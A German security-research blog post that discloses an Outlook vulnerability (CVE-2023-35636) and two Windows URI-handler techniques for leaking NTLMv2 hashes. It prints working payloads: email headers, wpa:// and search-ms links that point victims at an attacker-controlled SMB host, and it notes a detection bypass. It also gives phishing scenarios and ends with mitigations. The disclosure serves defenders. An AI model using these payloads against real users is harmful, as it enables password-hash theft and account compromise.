Der Inside-Out-Sicherheits Blog - Der Inside-Out-Sicherheits Blog

Entdeckung von Sicherheitslücken in Outlook und neue Möglichkeiten, NTLM-Hashes zu leaken

Geschrieben von Dolev Taler | Feb 8, 2024 11:50:54 AM

TL;DR

Varonis Threat Labs hat eine neue Outlook-Schwachstelle (CVE-2023-35636) entdeckt, eine von drei neuen Möglichkeiten um per Exploit von Outlook, Windows Performance Analyzer (WPA) und Windows File Explorer auf NTLM-v2-Hash-Passwörter zuzugreifen. Mit Zugriff auf diese Passwörter können Angreifer einen Offline-Brute-Force-Angriff oder einen Authentifizierungs-Relay-Angriff versuchen, um ein Konto zu kompromittieren und Zugriff darauf zu erhalten.

Varonis Threat Labs hat es sich zur Aufgabe gemacht, neue Möglichkeiten aufzudecken, wie Daten kompromittiert werden können. Dadurch können wir bessere Sicherheitslösungen entwickeln, die Bedrohungen erkennen und abwehren. Wir haben diese Schwachstellen und Exploits im Juli 2023 an Microsoft gemeldet. Microsoft hat die Schwachstellen für WPA und Windows File Explorer inzwischen als „mäßig schwer“ und den Exploit CVE-2023-35636 für Outlook als „wichtig“ eingestuft, mit einer Bewertung von 6.5. Microsoft hat am 12. Dezember 2023 einen Patch für dieses CVE veröffentlicht.

Ungepatchte Systeme bleiben für Bedrohungsakteure anfällig, die versuchen, gehashte Passwörter mithilfe der folgenden Methoden zu stehlen.

Was ist CVE-2023-35636?

CVE-2023-35636 ist ein Exploit der Kalenderfreigabefunktion in Microsoft Outlook. Hierbei wird eine E-Mail mit zwei Headern versandt, wodurch Outlook angewiesen wird, Inhalte zu teilen und einen bestimmten Computer zu kontaktieren. Dadurch kann ein NTLM-v2-Hash abgefangen werden.

Was ist NTLM v2?

NTLM v2 ist ein kryptografisches Protokoll, das von Microsoft Windows zur Authentifizierung von Benutzern auf Remote-Servern verwendet wird. NTLM v2 ist zwar eine sicherere Version des ursprünglichen NTLM, aber v2 ist immer noch anfällig für Offline-Brute-Force- und Authentifizierungs-Relay-Angriffe.

Ein Teil des NTLM-v2-Protokolls umfasst den sicheren Transport von Passwörtern als Hashes. Beim Passwort-Hashing wird ein Passwort (oder ein beliebiges anderes Datenelement) mithilfe eines Verschlüsselungsalgorithmus in eine kurze Folge aus Buchstaben und/oder Zahlen umgewandelt.

Da kein Salting (Hinzufügen eines zufälligen Werts zum Passwort, um vorberechnete Hash-Tabellen zu verhindern) stattfindet, sind sie passwortäquivalent – Bedrohungsakteure können sich damit also authentifizieren, ohne das tatsächliche Passwort zu kennen, falls sie den Hash-Wert vom Server abrufen können.

Ein Beispiel für einen abgefangenen NTLM-v2-Hash.

Wie können Angreifer NTLM-v2-Hashes verwenden?

Angreifer verwenden in der Regel NTLM-v2-Hashes in zwei Arten von Angriffen: Offline-Brute-Force-Angriffe oder ein Authentifizierungs-Relay.

Offline-Brute-Force

Ein Offline Brute-Force-Angriff ist ein Angriff, bei dem der Angreifer Zugriff auf eine Kopie des NTLM-v2-Hash des Benutzerpassworts hat. Er kann dann einen Computer verwenden, um alle möglichen Passwörter zu generieren und sie nacheinander mit dem Hash abzugleichen, bis er einen Treffer findet.

Da das Brute-Forcing des Passworts nur auf dem Rechner des Angreifers durchgeführt wird, hinterlässt der Angriffsversuch keine Spuren im Netzwerk und ist somit nicht erkennbar. Diese Technik ist so weit verbreitet, dass es sogar ein kostenloses Webtool, ntlm.pw, gibt, mit dem das tatsächliche Passwort abgerufen werden kann, wenn es gefunden wird. Das verdeutlicht nochmals, welche Gefahren dieser Hash und leicht zu knackende Passwörter bergen.

Authentifizierungs-Relay

Ein Authentifizierungs-Relay-Angriff ist eine Art von Angriff, bei der der Bedrohungsakteur eine NTLM-v2-Authentifizierungsanfrage abfängt und an einen anderen Server weiterleitet.

Der Computer des Opfers sendet dann die Authentifizierungsantwort an den Server des Angreifers. Dieser kann die Informationen verwenden, um sich auf dem Server zu authentifizieren, das das Opfer kontaktieren wollte.

Leaks von NTLM-v2-Hashes mit Outlook:

Outlook ist das Standard-E-Mail- und Kalendertool für die Microsoft-365-Suite und wird von Millionen Menschen auf der ganzen Welt sowohl für geschäftliche als auch für private Zwecke verwendet.

Eine der Funktionen von Outlook ist die Möglichkeit, Kalender zwischen Benutzern zu teilen. Wie Varonis Threat Labs herausgefunden hat, kann diese Funktion jedoch ausgenutzt werden, indem mehrere Header in einer E-Mail versandt werden. Dadurch wird ein Authentifizierungsversuch ausgelöst, bei dem das gehashte Passwort weitergeleitet wird.

Der Outlook-Exploit:

Um diesen Exploit erfolgreich auszuführen, müssen einer E-Mail zwei E-Mail-Header hinzugefügt werden:

Exploit-Header:

"Content-Class" = "Sharing"

"x-sharing-config-url" = \\(Attacker machine)\a.ics

  1. "Content-Class" = "Sharing" – Hiermit wird Outlook mitgeteilt, dass diese E-Mail Inhalte enthält, die freigegeben werden sollen.
  2. "x-sharing-config-url" = \\(Attacker machine)\a.ics – Die zweite Zeile verweist das Outlook des Opfers auf den Computer des Angreifers.

Angriffsszenarien

  1. Ein Angreifer erstellt eine E-Mail-Einladung an das Opfer und verweist den „.ICS“-Dateipfad auf den vom Angreifer kontrollierten Computer. Durch das „Abhören“ eines vom Angreifer kontrollierten Pfads (Domain, IP, Ordnerpfad, UNC usw.) kann dieser Pakete mit Verbindungsversuchen abfangen. Diese enthalten den Hash, mit dem er versucht, auf die Ressource zuzugreifen. Viele verschiedene Tools werden für solche Abhörangriffe verwendet. Im obigen Beispiel wurde Responder.py eingesetzt (das Tool der Wahl für jeden SMB- und NTLM-Hash-Angriff).
  2. Wenn das Opfer in der Nachricht auf die Schaltfläche „Diesen iCal öffnen“ klickt, versucht sein Computer, die Konfigurationsdatei auf dem Computer des Angreifers abzurufen, wodurch der NTLM-Hash des Opfers während der Authentifizierung offengelegt wird.

Leaks von NTLM-v2-Hashes mit URI-Handlern und WPA

URI-Handler, auch bekannt als URI-Schemata oder Protokoll-Handler, sind der Teil eines Betriebssystems, mit dem Anwendungen sich als Softwareprotokoll oder spezifisches Tool registrieren können, das für bestimmte Typen von Uniform Resource Identifiers (URIs) verwenden werden soll.

URI-Handler ermöglichen eine nahtlose Integration zwischen verschiedenen Anwendungen, so dass Sie mit einem einfachen Klick auf einen Link Webseiten öffnen, E-Mail-Clients starten, Anrufe initiieren oder andere benutzerdefinierte Aktionen durchführen können. Gängige Beispiele sind etwa „http://“ oder „mailto://“.

Der Windows Performance Analyzer (WPA) ist ein umfassendes und funktionsreiches Tool, das im Windows Performance Toolkit und im Software Development Kit enthalten ist.

Da diese Funktion standardmäßig integriert ist, wird sie letztendlich auf den Computern vieler Entwickler verwendet. WPA installiert, wie viele andere Programme auch, standardmäßig einen URI-Handler für „WPA://“, damit das Programm automatisch gestartet wird, wenn ein Benutzer auf einen WPA-Link klickt.

Der URI-Handler verwendet dann Windows Edge, um die WPA-Anfrage zu verarbeiten.

Nachdem Edge einen WPA-Link erhalten hat, versucht es, die WPA-Anwendung zu öffnen, und es wird eine Warnung ausgegeben.

Das Interessante daran: WPA versucht, sich mithilfe von NTLM v2 über das offene Web zu authentifizieren.

Der abgefangene NTLM-v2-Hash

Normalerweise sollte NTLM v2 verwendet werden, wenn versucht wird, sich bei internen IP-adressbasierten Diensten zu authentifizieren. Wenn der NTLM-v2-Hash jedoch über das offene Internet übertragen wird, ist er anfällig für Relay- und Offline-Brute-Force-Angriffe.

Der WPA-Exploit

Der gesamte Payload ist simpel und besteht aus nur drei Teilen.

  1. Vollständiger Payload:
    wpa:////<Angreifer-IP>/bla
    wpa:// – der URI-Handler: In diesem Teil wird dem Betriebssystem mitgeteilt, dass dieser Link in WPA zu öffnen ist.
  2. //<Angreifer-IP> – hier wird der Computer des Opfers angewiesen, über SMB auf den Computer des Angreifers zuzugreifen.
    Normalerweise wird ein SMB-Pfad mit einem Backslash (\\<path>) geschrieben, aber WPA akzeptiert auch normale Schrägstriche, die URL-freundlicher sind. 
  3. /bla – hiermit wird dem Computer des Opfers mitgeteilt, auf welche Datei er zugreifen soll. Im Beispiel oben ist es ein falscher Zufallsdateipfad.

Angriffsszenario

  1. Ein Angreifer sendet eine Köder-E-Mail an ein Opfer und in der E-Mail befindet sich ein Link zu https://com
  2. Beim Klicken erstellt die bösartige Website eine automatische Weiterleitung und leitet das Opfer zum Payload wpa:////bösartigesite.com/bla weiter
  3. Wenn das Opfer auf die Schaltfläche „WPA öffnen“ klickt, erhält der Angreifer sein gehashtes NTLM-v2-Passwort.

Leaken von NTLM-v2-Hashes mit dem Windows-Explorer

WPA-Angriffe wirken vielleicht wie eine einfache Möglichkeit für Bedrohungsakteure, sich Zugang zu verschaffen, aber die meisten Benutzer sind keine Entwickler und haben wahrscheinlich kein WPA installiert.

Wir bei Varonis Threat Labs haben weiter nachgeforscht und festgestellt, dass wir denselben Angriff mit dem Prozess explorer.exe des Windows-Dateimanagers durchführen können. Hinweis: Mit explorer.exe ist nur der Prozess selbst gemeint, nicht das Produkt.

Mit Explorer.exe können Sie Ihre Dateien und Ordner durchsuchen, Dateien kopieren und verschieben sowie Ordner erstellen und löschen. Explorer.exe enthält außerdem eine leistungsstarke Suchfunktion, mit der Sie Dateien schnell und einfach finden können.

Um explorer.exe auf das Web zu verweisen, gibt es das URI-Handle „search-ms“, das die Suche von explorer.exe aktiviert. Damit können bei Bedarf auch erweiterte Suchparameter festgelegt werden.

Exploits für den Windows-Explorer

Wir haben in der Dokumentation von Microsoft zwei einzigartige Parameter gefunden, deren Verhalten und erwartete Werte weniger bekannt sind: die Parameter „subquery“ und „crumb“.

Die erste Methode, um NTLM-v2-Hashes zu exfiltrieren, ist der Parameter subquery:

search-ms://query=poc&subquery=\\(Gerät des Angreifers)\poc.search-ms

  1. search-ms:// – der URI-Handler: Hiermit wird dem Betriebssystem mitgeteilt, dass dieser Link in der exe geöffnet werden soll.
  2. query=poc – falsche Suchanfrage
  3. &subquery=\\(Gerät des Angreifers)\poc.search-ms – Pfad zur .search-ms- Datei. Normalerweise würde sollte hier ein Pfad zur auszuführenden Subquery-Datei stehen, aber der Angreifer kann damit den Rechner des Opfers dazu bringen, sich mit einem Remote-SMB zu verbinden. Dadurch kann er den Hash stehlen.

Angriffsszenario

  1. Ein Angreifer erstellt mithilfe des oben beschriebenen Exploits einen bösartigen Link. Da der Windows-Explorer eine vertrauenswürdige Windows-Anwendung ist, haben viele Benutzer keine Bedenken, darauf zu klicken.
  2. Um dem Opfer den bösartigen Link zu schicken, können Angreifer beispielsweise E-Mail-Phishing oder gefälschte Website-Werbung verwenden, oder sogar den Link direkt über soziale Medien versenden.
  3. Sobald das Opfer auf den Link klickt, erhält der Angreifer den Hash und kann dann versuchen, das Passwort des Benutzers offline zu knacken.
  4. Sobald der Hash geknackt und das Passwort extrahiert wurde, kann der Angreifer es verwenden, um sich als Benutzer bei der Organisation anzumelden. Mit diesem Payload versucht die explorer.exe, Dateien mit der Erweiterung .search-ms zu suchen.

Wenn der Computer des Opfers versucht, eine Verbindung zum Computer des Angreifers herzustellen, um die Datei abzurufen, wird der NTLM-v2-Hash an diesen Angreifer gesendet.

Diese Methode führt dazu, dass Runndll32 mit dem folgenden Parameter geöffnet wird:
rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie <Domain des Angreifers> http:// <Domain des Angreifers>/poc.search-ms

Ein Beispiel für das Popup, das das Opfer dann sieht. Durch Klicken auf die Schaltfläche „Im Explorer öffnen“ wird der Hash des Benutzers an den Angreifer gesendet.

Nachdem das Opfer auf den Link klickt, erhält der Angreifer seine gehashten Passwörter.

Das gleiche Muster wie „DavSetCookie“ in den Protokollen.

Ein bekanntes Muster

Diese Methode führt zu den gleichen Kompromittierungsindikatoren wie CVE-2023-23397 – und wird teilweise durch die gleichen Erkennungsmechanismen erfasst – mit derselben DavSetCookie-Funktion.

Die zweite Methode, die wir gefunden haben, um NTLM-Hashes herauszuschmuggeln, ist die Verwendung des crumb-Parameters:

search-ms://query=poc&crumb=location:\\(Gerät des Angreifers)

  1. search-ms:// – der URI-Handler: Damit wird dem Betriebssystem mitgeteilt, dass dieser Link in exe geöffnet werden soll.
  2. query=poc – falsche Suchanfrage
  3. crumb=location:\\(Gerät des Angreifers) – mit dieser Ortseigenschaft unter dem crumb-Parameter kann der Benutzer einen Pfad für die Suche angeben. Ein Angreifer kann die Kombination aus crumb und Ort nutzen, um den Computer des Opfers dazu zu bringen, eine Verbindung zu einem Remote-SMB herzustellen. Dadurch kann dann der Hash gestohlen werden.

Angriffsszenario

Dieser Exploit verwendet dasselbe Angriffsszenario wie der andere Exploit des Windows-Explorers.

  1. Ein Angreifer erstellt mithilfe des oben beschriebenen Exploits einen bösartigen Link.
  2. Um dem Opfer den bösartigen Link zu schicken, können Angreifer beispielsweise E-Mail-Phishing oder gefälschte Website-Werbung verwenden, oder sogar den Link direkt über soziale Medien versenden.
  3. Sobald das Opfer auf den Link klickt, erhält der Angreifer den Hash und kann dann versuchen, das Passwort des Benutzers offline zu knacken.
  4. Sobald der Hash geknackt und das Passwort extrahiert wurde, kann der Angreifer es verwenden, um sich als Benutzer bei der Organisation anzumelden.

Der crumb-Parameter kann einen spezifischen Ort verwenden, den explorer.exe als Suchbasis verwenden soll, also als Ausgangspunkt für die Suchabfrage. Diese Funktion ermöglicht es einem Angreifer, den Computer des Opfers anzuweisen, sich mit dem Computer des Angreifers zu verbinden und sich dort zu authentifizieren. Dadurch hat er die Möglichkeit, das Hash-Passwort zu stehlen.

Anders als beim subquery-Parameter gibt es in diesem Fall keine rundll32-Instanz – die gesamte Kommunikation erfolgt direkt von explorer.exe. Dadurch werden also tatsächlich alle vorherigen Erkennungsmechanismen für CVE-2023-23397 umgangen.

Beachten Sie die drei abgeschlossenen Prozesse, die zeigen, dass der Exploit nicht erkannt wurde.

Reaktion von Microsoft

Microsoft hat den Exploit CVE-2023-35636 für Outlook als „wichtig“ gekennzeichnet, mit der Bewertung 6.5. Am 12. Dezember 2023 wurde ein Patch für CVE-2023-35636 veröffentlicht.

Varonis hat Microsoft am 5. Juli 2023 über das Microsoft Security Response Center über die WPA-Sicherheitslücke und am 30. Juli 2023 über die Windows-Explorer-Sicherheitslücke informiert. Microsoft hat beide Tickets wegen „mäßigen Schweregrads“ geschlossen.

Ungepatchte Systeme bleiben für Bedrohungsakteure anfällig, die versuchen, gehashte Passwörter mithilfe der folgenden Methoden zu stehlen.

Wie Sie sich vor NTLM-v2-Angriffen schützen können

Es gibt mehrere Möglichkeiten, sich vor NTLM-v2-Angriffen zu schützen:

  • SMB-Signaturen – SMB-Signaturen sind eine Sicherheitsfunktion, die den SMB-Datenverkehr vor Manipulationen und Man-in-the-Middle-Angriffen schützt. Das funktioniert mit digitalen Signaturen aller SMB-Nachrichten. Wenn ein Angreifer dann versucht, eine SMB-Nachricht zu ändern, kann der Empfänger die Änderung erkennen und die Nachricht ablehnen.

    SMB-Signaturen sind standardmäßig auf Windows Server 2022 und höher sowie auf Windows 11 Enterprise Edition (ab dem Insider-Preview-Build 25381) aktiviert.
  • Blockieren Sie ausgehende NTLM v2 ab Windows 11 (25951). Microsoft hat die Option zum Blockieren der ausgehenden NTLM-Authentifizierung hinzugefügt.
  • Erzwingen Sie die Kerberos-Authentifizierung, wenn möglich, und blockieren Sie NTLM v2 sowohl auf Netzwerk- als auch auf Anwendungsebenen.